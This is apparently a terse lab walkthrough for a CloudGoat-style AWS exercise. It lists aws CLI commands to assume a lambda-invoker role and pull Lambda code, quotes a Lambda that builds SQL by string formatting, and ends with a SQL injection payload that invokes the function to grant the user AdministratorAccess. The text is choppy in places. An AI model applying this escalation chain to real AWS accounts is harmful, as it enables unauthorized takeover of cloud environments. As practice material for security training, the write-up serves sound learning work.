Hack. Eat. Sleep. Repeat!!!
lambda-invoker and lambda-policy-applier-:Lambda-invoker allows us to invoke lambdas, list lambda and others.aws iam get-role-policy --role-name cg-lambda-invoker-cgid8mkn9nudjl --policy-name lambda-invoker --profile bilbo | jq
aws sts assume-role --role-arn "arn:aws:iam::xxxxxxxxxxx:role/cg-lambda-invoker-*" --role-session-name lambda-invoker --profile bilbo | jq
aws lambda list-functions --region us-east-1 --profile bilbo_lambda | jq
aws lambda get-function --function-name "cgid-policy_applier_lambda1" --query "Code.Location" --region us-east-1 --profile bilbo_lambda | jq
main.py-:target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")
for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
AdministratorAccess' --
payload.json-:{"user_name":"cg-bilbo-cgid*","policy_names":["AdministratorAccess' -- "]}
aws lambda invoke --function-name "cgid*-policy_applier_lambda1" --payload file://./payload.json out.txt --region us-east-1 --profile bilbo_lambda | jq